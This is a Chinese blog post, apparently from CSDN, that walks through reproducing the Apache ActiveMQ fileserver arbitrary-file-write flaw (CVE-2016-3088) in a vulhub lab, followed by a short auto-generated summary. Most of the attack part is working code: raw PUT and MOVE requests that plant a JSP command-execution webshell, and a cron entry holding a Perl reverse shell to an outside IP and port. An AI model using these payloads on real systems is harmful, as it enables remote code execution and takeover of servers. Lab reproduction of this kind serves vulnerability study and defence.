Apache ActiveMQ 远程代码执行漏洞(CVE-2016-3088)复现

一、搭建Docker、vulhub环境:

kali linux 下搭建 Vulhub 靶场(图文详解)_kali安装vulhub-CSDN博客

二、漏洞复现:

漏洞简介:

影响版本:Apache ActiveMQ 5.x~5.14.0

产生原因:ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。漏洞出现在fileserver应用中,支持写入文件,不解析jsp,支持移动文件(MOVE请求)。只需要写入一个文件,然后使用MOVE请求将其移动到任意位置,造成任意文件写入漏洞。(在5.14.0版本以后,彻底删除了fileserver应用。)

cd到vulhub(CVE-2016-3088)靶场编译环境打开环境:

浏览器打开页面admin/admin登录:

Brup抓包PUT方式上传webshell文件:

PUT /fileserver/1.txt HTTP/1.1
Host: 192.168.94.129:8161
Content-Length: 336

<%@ page import="java.io.*"%>
<%
 out.print("Hello</br>");
 String strcmd=request.getParameter("cmd");
 String line=null;
 Process p=Runtime.getRuntime().exec(strcmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));

 while((line=br.readLine())!=null){
  out.print(line+"</br>");
 }
%>

尝试上传jsp文件,发现文件格式被禁止:

由于上传的是文本文件并不能被服务器解析,所以我们下一步要利用MOVE方法将上传的webshell移动到可以执行的目录并更改后缀为jsp。

写入webshell,需要写在admin或api应用中,而这俩应用都需要登录才能访问。

默认的ActiveMQ账号密码均为admin,首先访问http://192.168.94.129:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径:

将抓到的包改成move方法,并将我们前边写入的txt文件移到可以执行jsp文件的目录中:

MOVE /fileserver/1.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/1.jsp
Host: 192.168.94.129:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: think_template=default; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjY2NzYyODcyLCJlbWFpbCI6IiJ9._m5Os7Qfe03lFDNUNDvy5FH7qbelPu2xzFcmX2Ap4fM
Upgrade-Insecure-Requests: 1
 

可以看到我们已经可以命令执行了。

计划任务反弹

写入反弹计划命令:

PUT /fileserver/10.txt HTTP/1.1
Host: 192.168.94.129:8161
Content-Length: 250

*/1 * * * * root /usr/bin/perl -e 'use Socket;$i="192.168.94.129";$p=9999;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
 

移动到/etc/cron.d/目录下,遇到ubuntu目录不太一样,参考这里

MOVE /fileserver/10.txt HTTP/1.1
Destination: file:///etc/cron.d/root
Host: 192.168.94.129:8161
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: think_template=default
Upgrade-Insecure-Requests: 1
 

等待上线即可!!不知道为什么我的没上线欢迎留言!

  • 19
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
CVE-2016-3088是一个存在于fileserver应用中的漏洞,其原理是fileserver支持写入文件但不解析jsp,同时支持MOVE请求移动文件,通过写入一个文件,然后利用移动请求移动到任意位置,导致任意文件写入漏洞。\[1\] 要复现漏洞,可以按照以下步骤进行操作: 1. 首先,需要将shell文件移动到具有解析权限的目录中。可以使用MOVE方式将shell移动到/opt/activemq/webapps/api/目录中,如果返回包返回204,则表示移动成功。\[2\] 2. 漏洞环境需要使用centos、docker、docker-compose、vulhub。启动服务后,可以使用命令docker ps来查看服务端口。\[3\] 3. 写入webshell需要将其写入admin或api应用中,而这两个应用都需要登录才能访问。 4. 首先访问http://服务器ip:8161/admin/test/systemProperties.jsp,查看ActiveMQ的绝对路径。 5. 进入http://服务器ip:8161/fileserver,进行抓包。 6. 将GET请求修改为PUT,并在目录后加入想要上传的数据包。如果回显为204,则表示上传成功。 以上是复现CVE-2016-3088漏洞的步骤。请注意,这个漏洞已经被修复,建议及时更新相关软件以避免安全风险。 #### 引用[.reference_title] - *1* *3* [CVE-2016-3088 ActiveMQ漏洞复现](https://blog.csdn.net/zwj101010101010/article/details/126018390)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* [ActiveMQ任意文件写入漏洞CVE-2016-3088复现](https://blog.csdn.net/weixin_38160576/article/details/121494757)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^insert_down28v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值